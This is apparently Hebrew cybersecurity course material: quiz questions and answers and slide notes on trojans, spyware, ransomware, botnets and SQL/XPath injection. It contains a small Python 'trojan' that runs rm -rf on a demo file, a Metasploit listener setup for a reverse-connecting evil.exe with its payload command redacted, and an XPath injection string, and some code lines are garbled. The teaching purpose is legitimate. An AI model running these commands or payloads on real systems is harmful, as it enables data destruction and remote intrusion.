- 5. כיצד רשת בוטים מסוג P2P משפרת את יכולת ההישרדות שלה לעומת רשת בוטים מסורתית?
- 1. מהי התקפת SQL Injection?
- 2. איך תוקף יכול לנצל SQL Injection כדי לקבל גישה לא מורשית למערכת?
- 3. מהן השיטות העיקריות להגנה מפני SQL Injection?
- 4. מה ההבדל בין Classic SQL Injection ל-Blind SQL Injection?
- 5. כיצד שימוש ב-Prepared Statements מונע SQL Injection?
- 1. מהו Xpath?
- 2. איך מתקפת XPath Injection יכולה להשפיע על יישום המשתמש ב-XML?
- 3. איזה קוד זדוני יוכל להתבצע אם תוקף יזין את הערך '1'='1' or בתיבת חיפוש?
- 4. איך אפשר לוודא שהקלט מהמשתמש לא יגרום ל-XPath Injection?
- 1. מדוע חשוב לבדוק את הקלט מהמשתמש לפני שמבצעים שאילתות על מסמך XML?
- 2. כיצד תוקף יכול לנצל את הפונקציות של XML ביישומים לביצוע התקפה?
- 3. מהן השיטות המומלצות להגן על יישום מפני XML Injection?

תשובות

- 1. סוס טרויאני הוא תוכנה זדונית המתחזה לתוכנה לגיטימית, ומבצעת פעולות זדוניות לאחר שהמשתמש מתקין ומפעיל אותה.
- 2. הבחנה בין סוס טרויאני לתוכנה אמיתית יכולה להיות קשה מאוד. הנה כמה צעדים שיעזרו:
 - א. מקור ההורדה: הורדה של תוכנה ממקורות אמינים ורשמיים כמו אתרי החברה המפתחת.
 - ב. חתימת דיגיטלית: בדיקה אם לתוכנה יש חתימה דיגיטלית תקפה שמאמתת את זהות המפתח.
 - ג. תוכנת אנטי-וירוס: שימוש בתוכנת אנטי-וירוס עדכנית לבדיקת הקובץ לפני הפעלתו.
 - ד. ביקורות משתמשים: חיפוש מידע וביקורות על התוכנה ברשת לפני ההתקנה.
- 1. סימנים שמעידים על נוכחות של רוגלה במחשב יכולים לכלול:
 - א. האטה פתאומית של המחשב.

- ב. הופעת חלונות פופ-אפ ותוכנות בלתי רצויות.
- ג. שינוי בהגדרות הדפדפן, כגון דף הבית או מנוע החיפוש.
- ד. פעולות חריגות ברשת, כמו שימוש יתר בחיבור לאינטרנט ללא הסבר ברור.
- ה. הופעת תהליכים לא מוכרים ברקע.
- 2. זיהוי מבוסס חתימות מסתמך על מאגר נתונים של קודים ידועים של תוכנות זדוניות. כל קובץ שנמצא במערכת מושווה למאגר זה, ואם נמצאת התאמה, הקובץ מסומן כרוגלה. היתרון הוא דיוק בזיהוי של איומים ידועים, אך החיסרון הוא חוסר יכולת לזהות איומים חדשים שאינם במאגר.
- זיהוי מבוסס התנהגות בודק את אופן הפעולה של תהליכים במערכת כדי לזהות דפוסי התנהגות חריגים שמאפיינים רוגלות. היתרון הוא היכולת לזהות איומים חדשים ולא מוכרים, אך החיסרון הוא האפשרות ליותר אזהרות שווא false positives
- 3. כדי להתגונן מפני רוגלות במכשירים ניידים, מומלץ:
 - א. להוריד אפליקציות רק מחנויות אפליקציות רשמיות.
 - ב. להיזהר מהענקת הרשאות גישה מיותרות לאפליקציות.
 - ג. לעדכן את מערכת ההפעלה והאפליקציות באופן קבוע.
 - ד. להשתמש בתוכנות אנטי-וירוס ואבטחת מידע גם על מכשירים ניידים.
- 4. שימוש ב-Sandbox מאפשר להריץ תוכנות חשודות בסביבה מבודדת מהמערכת הראשית, כך שניתן לנתח את פעולתן מבלי לסכן את המערכת.
- תוכנה זדונית רגילה Malware היא שם כללי לכל סוגי התוכנות המזיקות שמשפיעות לרעה על מערכות מחשב. היא יכולה לכלול וירוסים, תולעים, סוסים טרויאניים, רוגלות ועוד. כל אחת מתוכנות אלו יכולה לגרום לנזק בצורות שונות, כמו גניבת מידע, השחתת קבצים, או השתלטות על מערכת.
- תוכנת כופר Ransomware היא סוג ספציפי של תוכנה זדונית. המטרה העיקרית שלה היא להצפין את הקבצים במערכת הקורבן ולדרוש תשלום כופר בתמורה למפתח ההצפנה שיאפשר לשחרר את הקבצים. מה שמייחד את תוכנת הכופר הוא הדרישה לתשלום בתמורה לשחרור הגישה לקבצים הנעולים.
- א. גיבויים סדירים: ביצוע גיבויים תקופתיים של הקבצים החשובים ושמירתם במקום בטוח, מנותק מהרשת, יכולה להקטין את הנזק במקרה של התקפה.
- ב. עדכוני תוכנה: עדכון תדיר של מערכת ההפעלה, דפדפנים, ותוכנות אחרות כדי לסגור פרצות אבטחה שמנוצלות על ידי תוכנות כופר.
- ג. אנטי-וירוס ואנטי-מלקוד: שימוש בתוכנות אנטי-וירוס ואנטי-מלקוד עדכניות כדי לזהות ולחסום תוכנות כופר לפני שהן נזקקות למערכת.
- ד. זהירות עם מיילים וקישורים: הימנעות מפתחת קבצים מצורפים וקישורים ממקורות לא אמינים, ובמיוחד ממיילים שמגיעים מכתובות לא מוכרות.
- ה. הגברת מודעות: לימוד ושיפור המודעות של עצמך ושל משתמשים אחרים ברשת לסיכונים של תוכנות כופר, כולל הכרת סימנים מעידים לפשינג והתקפות אחרות.
- למה לא כדאי לשלם:
 - א. אין אחריות: אין שום ערובה לכך שהתוקפים אכן ישחררו את הקבצים לאחר קבלת הכופר. לפעמים הקורבנות לא מקבלים את מפתח ההצפנה גם אחרי תשלום.
 - ב. עידוד הפשע: תשלום הכופר מעודד את התוקפים להמשיך בפעילותם, שכן הם רואים בכך דרך רווחית.
 - ג. מימון פעילות עבריינית: תשלום כופר יכול לסייע במימון פעילויות עברייניות נוספות, כמו טרור או פשיעה מאורגנת.
- למה כן כדאי לשלם (במקרים חריגים בלבד):
 - א. שחזור מידע קריטי: במקרים שבהם אין גיבויים ואין דרך אחרת לשחזר מידע קריטי עבור הארגון או האדם הפרטי, יש כאלו ששוקלים לשלם כדי לקבל את המידע בחזרה.
 - ב. מזעור נזק: במקרים מסוימים, תשלום הכופר עלול להיות הדרך היחידה להחזיר את העסק לפעילות במהירות ולמזער את הנזקים הכלכליים והמבצעיים.
 - לרוב, ההמלצה היא לא לשלם את הכופר ולנסות לשחזר את המידע מגיבויים או להשתמש בשירותי שחזור מקצועיים. חשוב גם לדווח לרשויות ולחפש פתרונות אחרים.

- 1. תוכנה זדונית רגילה יכולה לפעול על מחשב יחיד ולבצע פעולות מזיקות מקומית. לעומת זאת, רשת בוטים כוללת מספר מחשבים נגועים (בוטים) שפועלים ביחד ומתואמים על ידי התוקף לביצוע פעולות מרובות ומורכבות כמו התקפת DDos או הפצת דואר זבל.
- 2. השיטות הנפוצות כוללות דוא"ל פיינינג, הורדת תוכנות פרוצות, ביקור באתרים נגועים והתקנת תוכנות זדוניות שמבוצעת בשוגג על ידי המשתמש.
- 3. ניתן להקטין את הסיכון על ידי שמירה על עדכונים שוטפים, שימוש בתוכנות אנטי-וירוס, זהירות בקבצים מצורפים וקישורים, והגדרת חומת אש יעילה.
- 4. שימוש נפוץ ברשת בוטים הוא התקפת DDos. התוקף שולח פקודות לכל הבוטים לשלוח בקשות רבות לאתר או לשרת מסוים במטרה לגרום לעומס יתר שיביא לקריסתו או להאטה משמעותית בפעילותו.
- 5. רשת בוטים מסוג P2P אינה תלויה בשרת C&C מרכזי, ולכן קשה יותר להשבית אותה. כל בוט יכול לתקשר עם בוטים אחרים ולשלוח או לקבל פקודות, מה שמקטין את הסיכון להפסד שליטה על כל הרשת אם שרת אחד ייתפס או יושבת.
- 1. SQL Injection היא טכניקת התקפה שבה התוקף מחדיר קוד SQL זדוני לתוך שאילתה של בסיס נתונים דרך קלט שאינו מוגן כראוי.
- 2. תוקף יכול להזריק קוד SQL זדוני לשאילתה קיימת, ולגרום לכך שתבצע פעולה לא מורשית, כמו קבלת גישה ללא סיסמה נכונה.
- 3. השיטות העיקריות כוללות בדיקת קלט, שימוש בשאילתות פרמטריות (Prepared Statements) שימוש בפרוצדורות מאוחסנות, ושימוש ב-ORM.
- 4. ב- Classic SQL Injection התוקף מקבל משוב ישיר מהשרת על הצלחת ההתקפה, בעוד שב-Blind SQL Injection אין משוב ישיר, והתוקף חייב לחלץ מידע באמצעות מניפולציות מתוחכמות.
- 5. Prepared Statements מפרידים בין הקוד לבין הקלט, ומוודאים שהקלט מתייחס כערכים בלבד, ולא כחלק מקוד ה-SQL.
- 1. XPath היא שפה המאפשרת למשתמשים לחפש ולהנגיש נתונים מתוך מסמכי XML. היא מספקת דרך לחפש אלמנטים וערכים במסמכים XML באמצעות ביטויים שמגדירים את מבנה הנתונים.
- 2. מתקפת XPath Injection יכולה לשנות את השאילתות המבוצעות על המסמכים XML כדי לחשוף נתונים רגישים, לקבל גישה למידע שלא היה מיועד למתקפה, או לגרום לקריסת היישום. המתקפה מתבצעת על ידי הזרקת קוד XPath זדוני לשאילתות שמבצע היישום.
- 3. אם תוקף יזין את הערך '1' or '1'='1' or '1'='1' היא:
- א. השתמש באימות קלט: ודא שהקלט מהמשתמש נבדק ומאומת לפני שהוא משולב בשאילתות Xpath.
- ב. השתמש בתווים בטוחים: המנע מקלט המכיל תווים מיוחדים שיכולים לשמש בהתקפות XPath Injection כמו ', or, =
- ג. שימוש בטכניקות של הכנה: השתמש בשיטות להכנה או טכניקות נוספות שיכולות למנוע הזרקת קוד לא רצוי לתוך שאילתות Xpath.
- 1. אם לא בודקים את הקלט, ניתן להזריק קוד זדוני שיבצע פעולות לא רצויות כמו שינוי מבנה ה-XML או השגת מידע רגיש.
- 2. התוקף יכול לנצל שדות קלט לא מבוקרים להזרקת קוד XML זדוני או לשינוי שאילתות Xpath כך שהן יחזירו תוצאות לא צפויות.
- 3. שימוש באימות קפדני של הקלט, הסננת קלט זדוני, שימוש בפרמטרים בשאילתות במקום הצבת ערכים ישירות, והימנעות מהערכה ישירה של קוד XML שסופק על ידי המשתמש.

תשובות - המשך

- א. הורדה של קבצים נגועים: למשל, קבצים מצורפים לאימייל, משחקים לא חוקיים, או תוכנות חנימיות מאתרים לא מהימנים.
- ב. אתרי אינטרנט זדוניים: ביקור באתרים שנבנו להפיץ תוכנות זדוניות דרך ניצול חולשות דפדפן.
- ג. עדכונים מזויפים: הורדה של עדכונים מזויפים למערכת או לתוכנות מוכרות.
- ד. מדיה חיצונית נגועה: כמו דיסק און קי שמכיל קבצים נגועים.

יצירת סוס טרויאני שמוחק קבצים

- יצירת סוס טרויאני שמוחק קבצים
- שלב 1: יצירת סוס טרויאני פשוט:
- בואו נתחיל ביצירת סוס טרויאני פשוט בשפת Python הקוד הבא יראה כיצד ליצור סוס טרויאני שמשתמש בפקודת os.system כדי לבצע פעולה זדונית פשוטה כמו מחיקת קובץ:
- ```
import os
```
- ```
:()def trojan
```
- ```
פקודה שמוחקת קובץ בשם example.txt
```
- ```
os.system("rm -rf ~/example.txt")
```
- ```
:"__if __name__ == "__main__"
```
- ```
()trojan
```
- שלב 2: הפעלת הסוס הטרויאני:
- פתח את עורך הטקסט המועדף עליך כמו nano וכתוב את הקוד שראינו למעלה. שמור את הקובץ בשם: nano trojan.py
- לפני שנריץ את הקוד, ניצור קובץ example.txt
- ```
touch ~/example.txt
```
- הרצת הסוס הטרויאני: עכשיו נריץ את הסקריפט: python3 trojan.py
- וע"י הפקודה הבאה, אנו נראה שהקובץ נמחק: 

```
~/ ls
```

## מהי רוגלה Spyware ?

- מהי רוגלה Spyware ?
- רוגלה היא תוכנה זדונית שמטרתה לאסוף מידע על המשתמש או על המערכת בה היא מותקנת, ללא ידיעת המשתמש או הסכמתו. המידע שנאסף יכול לכלול נתונים אישיים, כמו סיסמאות, פרטי כרטיסי אשראי, היסטוריית גלישה, הקשות מקלדת ועוד.

## סוגי רוגלות

- סוגי רוגלות
- Keyloggers: רישומי הקשות:
- מה זה: תוכנות המנטרות את כל ההקלדות שהמשתמש מבצע על המקלדת.
- דוגמה: אם יש לך Keylogger מותקן על המחשב, הוא יכול לאסוף את כל הסיסמאות שאתה מקליד ולאחסן אותן בקובץ שהאקר יכול לגשת אליו.
- Adware: תוכנות פרסום:
- מה זה: תוכנות שמציגות פרסומות במחשב, בדרך כלל בצורה אגרסיבית, כדי לגרום למשתמש ללחוץ על הקישורים.
- דוגמה: לאחר התקנה של תוכנת Adware, אתה עשוי לראות חלונות קופצים רבים עם פרסומות לאתרים שונים בכל פעם שאתה גולש באינטרנט.
- המשך – סוגי רוגלות
- Trojan Spyware: רוגלות המסתתרות בטרויאנים:
- מה זה: רוגלות שמגיעות כחלק מתוכנה תמימה למראה, אך בפועל מבצעות פעולות זדוניות ברקע.
- דוגמה: ייתכן שתוריד קובץ שנראה כתוכנה מועילה, אך בפועל הוא רוגלה שצופה בכל הפעולות שאתה מבצע על המחשב.
- Tracking Cookies: עוגיות מעקב:
- מה זה: קבצים קטנים שמאוחסנים במחשב שלך ומאפשרים לאתרי אינטרנט לעקוב אחרי פעילות הגלישה שלך.

- דוגמה: עוגיות מעקב עשויות לשמש לפרסומות ממוקדות, שמופיעות על סמך האתרים שבהם ביקרת בעבר.

## איך רוגלות חודרות למחשב?

- איך רוגלות חודרות למחשב?
- רוגלות יכולות להיכנס למחשב שלך בדרכים שונות:
- 1. הורדת תוכנה מזויפת או זדונית: רוגלות רבות מגיעות יחד עם תוכנות חינוכיות (Freeware) או תוכנות פיראטיות.
- 2. קישורים זדוניים: לחיצה על קישור באימייל או הודעת טקסט לא מוכרים, שיכול להוביל להורדת רוגלה.
- 3. ניצול פגיעויות אבטחה: רוגלות עשויות לנצל חולשות בתוכנה או במערכת ההפעלה כדי להתקין את עצמן ללא ידיעת המשתמש.

## סוגי רוגלות נוספים

- סוגי רוגלות נוספים
- 1. Browser Hijackers: חוטפי דפדפן: מה זה: תוכנות שמשתלטות על דפדפן האינטרנט שלך ומשנות את הגדרותיו, כמו דף הבית או מנוע החיפוש המוגדר כברירת מחדל.
- דוגמה: אם פתאום דף הבית שלך השתנה לדף שאתה לא מכיר, או שאתה מופנה למנוע חיפוש לא מוכר, ייתכן שנפלת קורבן ל-Browser Hijacker.
- 2. System Monitors: מנטרי מערכת: מה זה: תוכנות שמנטרות פעילות במערכת המחשב, כמו צילומי מסך, תנועות עכבר, ואפילו פעילויות רשת.
- דוגמה: רוגלה מסוג זה עשויה לשלוח צילומי מסך של מסמכים רגישים או מעקב אחר פעולות ברשת כדי לגלות סיסמאות או מידע רגיש אחר.

## שיטות התפשטות נפוצות של רוגלות

- שיטות התפשטות נפוצות של רוגלות
- 1. Phishing: פישנינג: מה זה: שליחת מיילים או הודעות שמתחזות לגורמים רשמיים כדי לשכנע את הקורבן ללחוץ על קישורים זדוניים או להוריד קבצים נגועים ברוגלה.
- דוגמה: מייל שנראה כאילו נשלח מהבנק שלך ומבקש ממך להיכנס לחשבון שלך כדי "לאמת פרטים". אם תלחץ על הקישור במייל ותזין את פרטי הכניסה שלך, האקר יקבל אותם.
- 2. Exploits: ניצול חולשות: מה זה: שימוש בפרצות אבטחה בתוכנות או במערכת ההפעלה כדי להתקין רוגלה ללא ידיעת המשתמש.
- דוגמה: פרצת אבטחה בדפדפן האינטרנט שלך עשויה לאפשר לאתר זדוני להתקין רוגלה על המחשב שלך מבלי שתבחין בכך.
- 3. Drive-by Downloads: מה זה: הורדה והתקנה אוטומטית של רוגלה כאשר המשתמש מבקר באתר אינטרנט זדוני. לא נדרשת פעולה יזומה מהמשתמש.
- דוגמה: ביקור באתר אינטרנט נגוע יכול להוביל להורדה אוטומטית של רוגלה למחשב שלך ללא אישורך או ידיעתך.

## השפעות של רוגלות

- השפעות של רוגלות
- 1. פגיעה בפרטיות: רוגלות גונבות מידע אישי ופרטי מהמשתמש, כמו סיסמאות, פרטי בנק, היסטוריית גלישה ועוד. זה יכול להוביל לגניבת זהות או שימוש לרעה במידע.
- 2. פגיעה בביצועי המחשב: רוגלות רבות פועלות ברקע ויכולות להאט את המחשב באופן משמעותי, לגרום לתקלות או לקריסות, ולהקשות על המשתמש לתפקד בצורה תקינה.

- 3. נזק כלכלי: מעבר לגניבת כספים ישירה באמצעות רוגלות, יש גם עלויות הקשורות לתיקון המערכת, שיחזור מידע, והתקנת תוכנות אבטחה.

## איך לזהות אם יש לך רוגלה?

- איך לזהות אם יש לך רוגלה?
  1. ביצועים איטיים: אם המחשב שלך פתאום איטי מהרגיל או קורס לעיתים קרובות, ייתכן שיש לך רוגלה שפועלת ברקע.
  2. פרסומות לא רצויות: אם אתה רואה פרסומות קופצות באופן תדיר, אפילו כשאתה לא גולש באינטרנט, ייתכן שמדובר ב-Adware.
  3. שינויים בדפדפן: אם דף הבית שלך השתנה ללא ידיעתך.

## דוגמה מעשית: איך רוגלה עובדת?

- דוגמה מעשית: איך רוגלה עובדת?
  - נניח שהורדת משחק חינוכי מאתר לא מוכר. במהלך ההתקנה, המשחק מבקש ממך הרשאות גישה למערכת (למשל, גישה לרשת ולמידע אישי). בפועל, המשחק מתקין גם רוגלה מסוג Keylogger מעתה, כל הקשה שאתה מבצע נשמרת ונשלחת להאקר.
  - לדוגמה, אם תקליד את פרטי הכניסה לחשבון הבנק שלך, Keylogger ישמור את המידע הזה וישלח אותו להאקר שיכול להשתמש בו לגניבת כסף.

## כיצד ניתן להתגונן מפני רוגלות?

- כיצד ניתן להתגונן מפני רוגלות?
  1. התקנת אנטי-וירוס ואנטי-רוגלה: תוכנות אבטחה יכולות לזהות ולהסיר רוגלות מהמחשב.
  2. שימוש בחומת אש: Firewall חומת אש יכולה למנוע גישה של רוגלות לרשת ולחסום ניסיונות זדוניים.
  3. עדכונים שוטפים: שמור על מערכת ההפעלה והתוכנות מעודכנות כדי לסגור פערי אבטחה.
  4. זהירות בהורדות: הורד תוכנות רק מאתרים מוכרים ואמינים, והימנע מהורדת תוכנות פיראטיות.
  5. בדיקת הרשאות: בזמן התקנת תוכנה, בדוק היטב אילו הרשאות היא מבקשת, והימנע מהתקנת תוכנות שדורשות גישה מוגזמת למערכת.

## תירגול ביצירת רוגלה

- תירגול ביצירת רוגלה
  - שלב 1: יצירת רוגלה בסיסית:
    - הערת בטיחות: הושטו פרטי הדגמה התקפיים שעלולים לאפשר ביצוע תקיפה. העיקרון: תוקפים עשויים לנצל כלים/קוד כדי להשיג שליטה או להפיץ נזקות — ההגנה מתמקדת בזיהוי, הקשחה וניטור.
    - השתמש בפקודה הבאה כדי ליצור קובץ רוגלה בסיומת exe.
    - LHOST : כתובת ה- IP של Kali Linux שלך (רצוי להשתמש בכתובת מקומית במבחן בסביבה סגורה).
    - LPORT : הפורט שבו הרוגלה תתחבר בחזרה ל- Kali Linux (בדוגמה זו 4444).
    - שלב 2: הגדרת מאזין Listener:
    - כדי שהרוגלה תוכל לשלוח מידע חזרה אליך, עליך להגדיר מאזין ב-Kali Linux:
    - פתח טרמינל וכתוב
    - Msfconsole
    - לאחר שה- Framework נטען, הפעל את המאזין עם הפקודות הבאות:
    - <set LHOST <YOUR\_IP
    - set LPORT 4444
    - exploit
    - המשך - תירגול ביצירת רוגלה

- שלב 3: הפעלת הרוגלה:
- כדי לבדוק שהכל עובד, עליך להריץ את הקובץ evil.exe על מערכת Windows במכונה וירטואלית או במכונה נפרדת (כמובן לא על מחשב אישי יומיומי).
- שלב 4: אינטראקציה עם הרוגלה:
- אם הכל עבד כשורה, ברגע שהקובץ יופעל, המאזין ב- Kali Linux אמור להתחבר למערכת Windows

## מהי תוכנת כופר?

- מהי תוכנת כופר?
- תוכנת כופר Ransomware היא סוג של תוכנה זדונית Malware שמצפינה את הקבצים במערכת של הקורבן ומונעת ממנו גישה אליהם. לאחר ההצפנה, התוקף דורש כופר (לרוב בתשלום במטבעות קריפטוגרפיים כמו ביטקוין) בתמורה למפתח ההצפנה שיאפשר לשחרר את הקבצים.

## איך תוכנת כופר פועלת?

- איך תוכנת כופר פועלת?
- תוכנת כופר פועלת בשלבים הבאים:
- 1. הפצה: התוקף שולח את תוכנת הכופר דרך אימיילים פשינג, קישורים זדוניים, או הורדות מזויפות מאתרים לא אמינים.
- 2. התקנה והפעלה: לאחר שהתוכנה חודרת למערכת, היא מופעלת ומתחילה לפעול ברקע ללא ידיעת הקורבן.
- 3. הצפנה: התוכנה סורקת את המערכת אחר קבצים חשובים כמו מסמכים, תמונות, ומסדי נתונים, ומצפינה אותם בעזרת אלגוריתם הצפנה חזק.
- 4. דרישת כופר: ברגע שההצפנה הושלמה, התוכנה מציגה הודעה שמיידעת את הקורבן שהקבצים שלו נעולים ודורשת ממנו לשלם כופר כדי לשחרר את הגישה אליהם.
- 5. תשלום או הפסד: אם הקורבן משלם את הכופר, הוא מקבל (לפעמים) את מפתח ההצפנה לשחרור הקבצים. אם לא, הקבצים נשארים מוצפנים או נמחקים.

## דוגמאות לתוכנות כופר מפורסמות

- דוגמאות לתוכנות כופר מפורסמות:
- 1. (2017) NotPetya: נראתה בתחילה כעוד תוכנת כופר, אך למעשה הייתה תוכנה הרסנית שתפקידה העיקרי היה לגרום לנזק ולא לגבות כופר. NotPetya השפיעה על חברות רבות ברחבי העולם, כולל Maersk, אחת מחברות ההובלה הגדולות בעולם.
- 2. (2016) Locky: אחת מתוכנות הכופר הראשונות שהופצה בקנה מידה גדול. Locky הופצה בעיקר באמצעות מיילים זדוניים שכביכול היו מסמכים לגיטימיים. לאחר פתיחת המסמך, תוכנת הכופר הותקנה על המחשב והצפינה את הקבצים.

## איך ניתן להגן מפני תוכנות כופר?

- איך ניתן להגן מפני תוכנות כופר?
- 1. גיבויים שוטפים: שמור גיבויים עדכניים של כל הקבצים החשובים. כך, במקרה של התקפה, תוכל לשחזר את המערכת מבלי לשלם כופר.
- 2. עדכוני תוכנה: עדכן את מערכת ההפעלה והתוכנות שלך באופן קבוע כדי לסגור חולשות אבטחה שהתוקפים עלולים לנצל.
- 3. אנטי-וירוס ואנטי-מלקוד: התקן ושמור על תוכנות אנטי-וירוס ואנטי-מלקוד עדכניות שמסוגלות לזהות ולהסיר איומים פוטנציאליים.
- 4. זהירות מאימיילים חשודים: אל תפתח קבצים מצורפים או לחץ על קישורים באימיילים לא מוכרים או חשודים.
- 5. הדרכת עובדים: אם אתה בארגון, הדרכת עובדים לזהות ולהימנע ממיילים חשודים יכולה למנוע הרבה התקפות.

## סיפור מהעולם האמיתי

- סיפור מהעולם האמיתי:
- בחברת טרנספורט בינלאומית, מנהל ה-IT קיבל מייל שנראה כאילו הוא הגיע ממנכ"ל החברה, עם קובץ מצורף שנראה כחשוב. לאחר שפתח את הקובץ, כל הרשת של החברה ננעלה על ידי תוכנת כופר.

## מהי רשת בוטים?

- מהי רשת בוטים?
- רשת בוטים Botnet היא קבוצה של מחשבים או מכשירים מחוברים לאינטרנט שנפגעו מתוכנה זדונית והפכו להיות "בוטים". המונח "בוט" הוא קיצור של "רובוט", ומשמש לתיאור מחשבים שנשלטים מרחוק על ידי תוקף.
- הבוטים ברשת הבוטים יכולים לבצע פעולות מתואמות ונשלטות מרחוק על ידי התוקף (נקרא גם Botmaster).
- רשתות בוטים משמשות לרוב לתקיפות סייבר מאורגנות, כמו הפצת דואר זבל Spam ביצוע התקפות מניעת שירות DDoS גניבת מידע אישי, כריית מטבעות קריפטוגרפיים ועוד.

## איך רשת בוטים נבנית?

- איך רשת בוטים נבנית?
- הדבקת המחשבים:
- התוקף מפיץ תוכנה זדונית Malware באמצעות דוא"ל פשינג, אתרי אינטרנט נגועים, קבצים מצורפים, תוכנות פרוצות, או כל אמצעי אחר.
- ברגע שהמשתמש מוריד ומפעיל את הקובץ הזדוני, המחשב שלו נדבק והופך לבוט.
- התוכנה הזדונית פועלת ברקע מבלי שהמשתמש יבחין בכך, ומשאירה את המחשב חשוף לשליטה מרחוק.
- שליטה ובקרה (Command and Control) – C&C
- כל בוט ברשת מתחבר לשרת שליטה ובקרה C&C או לפלטפורמה אחרת כגון רשתות חברתיות, ערוצי IRC שממנה התוקף שולח פקודות.
- התוקף שולח פקודות שונות לכל הבוטים, והם מבצעים את הפעולות בהתאם להנחיות.
- ביצוע פעולות:
- הבוטים יכולים לבצע פעולות מזיקות בצורה מתואמת. לדוגמה, בהתקפת DDoS, כל הבוטים שולחים בקשות לאתר מסוים בו-זמנית, במטרה להעמיס על השרת ולגרום לקריסתו.

## דוגמאות לפעולות של רשת בוטים

- דוגמאות לפעולות של רשת בוטים
- 1. התקפת DDoS (Distributed Denial of Service):
- התקפת DDoS היא אחת השימושים הנפוצים ביותר לרשת בוטים.
- בדוגמה זו, התוקף שולח פקודה לכל הבוטים ברשת לשלוח בקשות מרובות לאתר או לשרת מסוים.
- השרת אינו מסוגל להתמודד עם עומס הבקשות הגבוה, מה שגורם לו להפסיק לפעול או להאט בצורה משמעותית.
- 2. הפצת דואר זבל Spam:
- רשתות בוטים משמשות גם להפצת כמויות אדירות של הודעות דוא"ל זבליות Spam
- כל בוט שולח מאות או אלפי הודעות דוא"ל שמכילות פרסומות זדוניות, ניסיונות פשינג, או קישורים לאתרים נגועים.
- המשך - דוגמאות לפעולות של רשת בוטים
- 3. גניבת מידע:
- בוטים יכולים גם לאסוף מידע רגיש מהמחשבים הנגועים, כמו סיסמאות, פרטי כרטיסי אשראי, ומידע אישי.
- המידע נשלח לשרת שליטה ובקרה שבו התוקף אוסף את המידע לשימוש זדוני או למכירה בשוק השחור.
- 4. כריית מטבעות קריפטוגרפיים:
- בחלק מהמקרים, רשתות בוטים משמשות לכריית מטבעות קריפטוגרפיים כמו ביטקוין.
- התוקף מנצל את כוח המחשוב של הבוטים כדי לכרות מטבעות ולייצר רווחים על חשבון הקורבנות.

## סוגי רשתות בוטים

- סוגי רשתות בוטים
- 1. Peer-to-Peer Botnets: במקום להשתמש בשרת מרכזי לשליטה ובקרה (C&C), רשתות בוטים מסוג זה פועלות בשיטת Peer-to-Peer כלומר, כל בוט ברשת מתקשר עם אחרים, ללא צורך בשרת מרכזי. זה מקשה על איתור והשבתה של הרשת כולה, משום שאין נקודת תורפה אחת שאפשר לפגוע בה.
- 2. HTTP Botnets: רשתות בוטים שמבוססות על פרוטוקול HTTP מתקשרות דרך אתרי אינטרנט או שרתים רגילים. זה מקשה על זיהוי הבוטים, כי התקשורת שלהם נראית כמו גלישה רגילה באינטרנט. תוקפים יכולים להשתמש באתרים תמימים לכאורה כתחנות שליטה.
- 3. IoT Botnets: רשתות בוטים שמבוססות על התקנים של האינטרנט של הדברים IoT כמו מצלמות אבטחה, נתבים, טלוויזיות חכמות, ועוד. מכשירים אלו לעיתים קרובות מאובטחים בצורה חלשה ויכולים להפוך לבוטים בקלות.

## מחזור החיים של רשת בוטים

- מחזור החיים של רשת בוטים
- רשת בוטים עוברת מספר שלבים במהלך חייה:
- 1. הדבקה והתרחבות Infection and Propagation: התוקף מדביק את המחשבים הראשונים באמצעות וקטורי התקפה שונים (פישנינג, ניצול פרצות, הורדות נגועות וכו').
- הבוטים עצמם יכולים להפיץ את התוכנה הזדונית למחשבים נוספים, מה שמאפשר לרשת הבוטים לגדול ולהתרחב.
- 2. שליטה ובקרה Command and Control: לאחר ההדבקה, הבוטים מתחברים לשרת שליטה ובקרה (C&C) או מתקשרים באמצעות פרוטוקולים מבוזרים כמו P2P.
- התוקף יכול לשלוח פקודות לבוטים לביצוע פעולות כמו תקיפת DDoS, גניבת מידע, הפצת דואר זבל ועוד.
- המשך - מחזור החיים של רשת בוטים
- 3. ביצוע משימות Execution of Tasks: הבוטים מבצעים את המשימות שהוקצו להם. המשימות יכולות להשתנות לאורך זמן בהתאם לפקודות חדשות שמגיעות מהתוקף.
- 4. התחמקות מזיהוי Evasion: הבוטים יכולים לעדכן את עצמם כדי להימנע מזיהוי על ידי תוכנות אנטי-וירוס או מערכות זיהוי חדירות IDS זה נעשה על ידי טכניקות כמו ערפול Obfuscation הצפנה של התקשורת עם ה-C&C או שינוי קבוע של תצורת הפעולה.
- 5. תחזוקה ועדכונים Maintenance and Updates: התוקף ממשיך לעדכן את רשת הבוטים, להוסיף לה יכולות חדשות, או לשנות את שרתי ה-C&C כדי להימנע ממעקב והשבתה.

## איך להגן מפני רשתות בוטים?

- איך להגן מפני רשתות בוטים?
- 1. עדכון תוכנה: תמיד לשמור על עדכונים שוטפים של מערכת ההפעלה והתוכנות במחשב כדי לסגור פרצות אבטחה.
- 2. שימוש בתוכנות אנטי-וירוס: התקנת תוכנות אנטי-וירוס ואנטי-מלקוד יעזרו לזהות ולהסיר תוכנות זדוניות שעלולות להפוך את המחשב שלך לבוט.



- 3. זהירות עם קבצים מצורפים וקישורים: הימנעות מפתיחת קבצים מצורפים או לחיצה על קישורים ממקורות לא מוכרים, במיוחד בהודעות דוא"ל.
- 4. חומת אש Firewall: שימוש בחומת אש שתגביל את התקשורת הלא רצויה ותמנע גישה מרחוק למחשב שלך.

## דרכי הגנה מתקדמות

- דרכי הגנה מתקדמות
- 1. Network Behavior Analysis (NBA)
  - ניתוח התנהגות רשת NBA הוא גישה שמבוססת על זיהוי התנהגות לא שגרתית ברשת כדי לזהות פעילות בוטים. לדוגמה, אם רואים כמויות גדולות של תעבורה בלתי רגילה מאותו מקור, זה עשוי להצביע על כך שמחשב ברשת הפך לבוט.
- 2. Sinkholing
  - זוהי טכניקה שבה מומחי אבטחה משתלטים על שם דומיין או כתובת IP שמשמשים את הבוטים לתקשורת עם ה-C&C ומפנים את התקשורת לשרתים שלהם. זה מאפשר להם לנטר את פעילות הרשת ולעצור את ההפצה שלה.
- 3. Botnet Takedown
  - זוהי פעולה מאורגנת, לרוב בשיתוף פעולה בין רשויות אכיפת החוק לבין ספקי שירותי אינטרנט, כדי להשבית את התשתיות של רשת הבוטים. זה נעשה על ידי השבתה של שרתי ה-C&C או על ידי תפיסת תוקפים.

## מה זה SQL Injection ?

- מה זה SQL Injection ?
